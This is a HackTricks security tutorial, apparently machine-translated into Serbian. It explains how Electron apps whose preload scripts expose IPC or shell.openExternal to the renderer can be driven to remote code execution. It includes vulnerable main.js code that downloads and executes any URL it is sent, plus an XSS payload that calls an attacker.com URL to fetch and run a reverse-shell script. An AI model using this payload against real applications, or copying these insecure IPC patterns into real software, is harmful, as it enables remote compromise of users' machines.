5.5 KiB
Electron contextIsolation RCE via IPC
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Ako preload skripta izlaže IPC krajnju tačku iz main.js datoteke, proces renderera će moći da joj pristupi i ako je ranjiv, RCE bi mogao biti moguć.
Većina ovih primera je uzeta odavde https://www.youtube.com/watch?v=xILfQGkLXQo. Pogledajte video za dodatne informacije.
Primer 0
Primer sa https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (imate ceo primer kako je MS Teams zloupotrebljavao XSS za RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
Primer 1
Pogledajte kako main.js
sluša na getUpdate
i preuzima i izvršava bilo koju URL koja se prosledi.
Pogledajte takođe kako preload.js
izlaže bilo koji IPC događaj iz main.
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
Eksploatacija:
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
Primer 2
Ako preload skripta direktno izlaže renderer-u način da pozove shell.openExternal
, moguće je dobiti RCE
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
Example 3
Ako skripta za učitavanje omogućava potpuno komuniciranje sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od onoga što glavni proces izlaže u smislu IPC.
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.